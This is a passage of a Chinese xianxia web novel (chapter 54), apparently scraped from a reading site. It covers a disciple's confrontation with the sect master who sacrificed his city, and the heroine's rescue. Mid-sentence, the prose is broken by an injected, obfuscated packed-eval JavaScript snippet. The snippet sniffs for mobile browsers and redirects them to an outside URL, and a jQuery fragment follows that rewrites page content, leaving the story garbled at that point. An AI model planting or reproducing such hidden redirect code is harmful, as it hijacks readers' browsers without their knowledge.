54. 第 54 章
作品:《傻白甜女主今天刀人了吗》 仙门并非破不开段迟意在云苍城外设下的禁制。
只是魔族也在虎视眈眈,与其一个不慎让黎落和魔族联手,不如化禁制为封锁,将黎落和混沌之力暂且困在云苍。
成胥道君所料不错,比起仙门,沧宿才是当下最为焦虑的人。
他一而再再而三折在黎落头上,无论如何也想不到,自己有朝一日竟会被混沌之力伤到险些再度魂飞魄散。
还是在他的魔魂回归本体之后。
沧宿生平头一次知道嫉妒到发狂是什么感觉。
为什么她一个凡人能催动混沌之力?
为什么混沌之力没有魔魂也会受她所控,反过来伤了自己?
明明他才是魔尊,他才是混沌之力的主人!
痛恨之余,他不得不面对当下最为紧迫的问题:仙门已经知道了他复活的消息。
珩亦和破妄剑仍是悬在他头上的一把刀,留着这么个克星,始终不能放心。
于是在收到仙门递来的合作消息后,沧宿很快便做出了决定。
既然黎落执意不肯与他同路,他只怕很难短期内获得混沌之力渡过天劫,那就只能先除去珩亦和破妄剑。
左右黎落就算落到了仙门手里,只要混沌之力仍在世间,他就还有机会。
想成魔神,就不能因小失大。
“珩亦死,破妄剑折,魔族大军即刻退离云苍,百年内不再攻打人族。”
至于这“百年之期”能有几分可信,就看沧宿何时能想到收回混沌之力的办法了。
*
仙门。
段迟意踏进正殿。
他第一次走进这里的那天,也和现在一样。
成胥道君高坐上首,问他是否愿意拜他为师,入寒冰域,执破妄剑。
魔族入侵人界,青崖城全城战死,固然令人惋惜。
但追根究底,是青崖城守军先丢失玄铁导致的,如今全城灵魂化作封印一部分镇压魔族,也算将功补过。
既然魔尊已死,仙门便不再追究。
只是需要有人拿起破妄剑,肩负除魔之责。
段迟意同意了。
可惜他虽天赋卓绝,却是青崖城守将之子,仿佛一个难以抹去的污点似的。
纵使魔族入侵时他不在场,但人言可畏。
若以罪人之子成仙门首徒、执除魔之剑,未免遭人非议。
“除魔为要,你得为大局着想。”
自此,段迟意这个人彻底消失,只余“珩亦”。
寒冰域中两百年,严寒刺骨,煞气伤魂,他没有一刻不想着,父母亲族的灵魂皆在极渊之下,为压魔族难以安息,他又有什么资格退缩?
他越早破冰,越早拿起破妄剑,青崖城的族人就越早得以解脱……
他不能有丝毫畏惧、放弃的念头。
他不能退!
两百年如大梦一场,出冰之时,他已是仙门首徒,破妄剑主,妖魔畏惧的珩亦仙君。
没有人再记得青崖城,世人只知极渊深险,为魔气深重之地。
而珩亦仙君,是会拿着破妄剑深入极渊,用命为三界除魔的英雄。
……
段迟意收回思绪,抬眼看向最上方、以分身出现的师尊——成胥道君。
这是自他入寒冰以来,师尊第一次用分身见他。
成胥亦在打量自己这个徒弟。
毫无疑问,珩亦是他最为杰出的弟子。
寒冰域苦寒,多少弟子望而生畏,更别说一留就是两百年,还能破冰而出,可知其毅力之坚。
其后更是以破妄剑斩妖除魔,战无不胜。若非破妄剑剑意“以命相换”,或许他会成为最有机会得道之人。
可惜……
魔为天地所生,秉性嗜杀,魔尊沧宿更是其中最为狠毒之人,混沌之力在手,还妄图用三界无辜生灵成杀阵,助他历劫成魔神。
仙门守护苍生,又岂能坐视不理,任由三界落入沧宿手中?
可魔气生自人心,人与魔同在天地之中,他们若不付出足够代价,又怎么能彻底铲除魔族,为天下苍生争得生机?
他不觉得自己错了。
“珩亦,你可知罪。”
段迟意沉默,没有依言下跪。
成胥见状,缓缓眯起双眸,道君灵力猛得散出,压得段迟意脸色顿时更加苍白。
他身形一顿,失去一半神魂后修为大减,终是被巨大的修为差压制住,被迫跪地。
成胥看着这个被他压制着跪在地上,却仍旧背脊挺拔如松的弟子,面露失望:
“看看你成了什么样子!”
他拂袖,声音带着恨铁不成钢的怒意:
“竟将神魂割给一个拿着混沌之力的凡人!你是忘了青崖城的惨剧,忘了两百年寒冰之苦了吗?”
以往他只要提到“青崖城”,珩亦就会立马低头认错。
虽然与他无关,但这个过分善良正义的弟子到底是被族人的罪责绑架,不得安宁。
但现在,段迟意反而抬起了头,双目如星直视着上方的道君:
“弟子正是想到了青崖城的族人,才会如此行事。无辜之人惨死,才是辜负了青崖城全城魂灵,辜负了两百年寒冰之苦!”
成胥骤然被他顶撞,猛得站起,声音顿时带上不悦:
“你现在是在责怪本座?”
段迟意低头不语,姿态却说明了一切。
成胥盯着他,神色几经变换,最终长叹一声,说道:
“当日做此决定,确实不够磊落。但沧宿杀阵将成,三界危在旦夕,仙门不得已出此下策,你修行多年,合该想通——”
“与三界生灵的安危相比,青崖城,不值一提。”
段迟意冷冷看着他:
“师尊总知道什么是更重要的。”
成胥看着他:
“你在嘲讽本座?”
段迟意垂首:“弟子不敢。”
成胥端详他片刻,又问道:
“纵使当日之事是仙门对不起青崖城,可这与沧宿和混沌之力无关,你何时变得如此公私不分,只因一时之气便置苍生于不顾?”
段迟意冷冷一笑,忽然道:
“师尊错了。”
“什么?”
段迟意没有看他,而是低头看向自己手中收刃入鞘的破妄剑。
这把剑其实并不像黎落以为的那样好,实在冰冷得很、沉重得很。
他没了一半神魂后,修为不足,拔不出这剑,反而觉得轻松许多。
“师尊用青崖城
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15568582|167891||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的真相欺骗弟子两百多年,原是看轻了弟子,也看轻了天下苍生。”
成胥一愣。
段迟意将破妄剑放在面前地上,拱手在身前,朝上方拜下:
“弟子不悔。”
两百年寒冰苦域,不悔。
持剑守苍生七年,不悔。
决意用命祭剑,不悔。
割下神魂救黎落,不悔。
……
他问心无愧。
若说有什么后悔的……
便是一时吃醋抢回了烟锦纱,如今此物只怕再难回到黎落手中。
而张师弟一番苦心,到底是要无人可知了。
不过,倒也很好。
段迟意不禁莞尔。
最上方,成胥道君却好似被惊雷重击一般,因着段迟意的话目露讶异,久久不能言语。
他是不是……真的错了?
可到了他这般地位高度,行事早已不是简单的“信与不信”、“对与不对”。
他不能赌,他不能犹豫,他背负着三界生灵的命,他必须有所取舍,他必须做出这个决定。
心软之人,瞻前顾后之人,终究只会两者皆失,一个也护不住。
纵使是错,也是无错。
成胥道君闭目,不再看向段迟意。
道君本命剑“却水”自他身后浮起,剑气重而可怖,刺向段迟意的方向。
破妄剑察觉到杀机,本能飞起护主,挡在段迟意身前。
但破妄剑意在斩魔,持剑者肯用性命献祭才能发挥其最高实力,如今自发挥剑,在道君剑意面前,根本毫无胜算。
“咔嚓”一声,连剑带鞘一同断成两半。
破妄剑断,“却水”的剑锋已至段迟意面前。
段迟意神色不变,看向这个自己信赖了两百多年、最后却要取他性命的道君、师尊。
他忽然想到,是否黎落当日悲痛欲绝、一心求死时,也是遇到了这样不敢面对、睁眼就会感到绝望的情境?
她那样诚挚的心性,又是被人如何欺骗戏弄,才会决意走到漠视、憎恨这个世界的地步?
只是他若贸然说自己懂她,或许会被她当成玩笑,用各种漫不经心的言行敷衍过去。
她讨厌这个世界,自然也会讨厌这个世界里的他。
他已经没有机会,再等她喜欢上他了……
段迟意闭上了眼。
一前一后两道光就在此时忽然出现,紫与黑像两道交错迸发的火焰,带着燎原之势,直直冲向“却水”的剑尖。
“噗嗤”一声,烟锦纱率先支撑不住,断裂成两半,随后又在空中燃烧,化为灰烬落地。
张少荣的炼器水平着实高超,竟能将烟锦纱改造成能和道君剑意对上的法器。
在燃烧着的火焰背后出现的,是一柄漆黑长剑,细薄剑刃杀气凛然,幽蓝鲛珠却在剑柄上发出柔和清冷的光,让凌厉凶残的剑势也变得不那么暴戾。
持剑人不会用剑,双手握着剑柄,手腕连同整个人都在颤抖。
黎落只觉自己整个口腔都泛上了血腥气,若非有烟锦纱挡在前面,她只怕早连着剑一起被砍成了两半。
可她不敢松手。
她用剑,挡在段迟意身前。
她不能松手。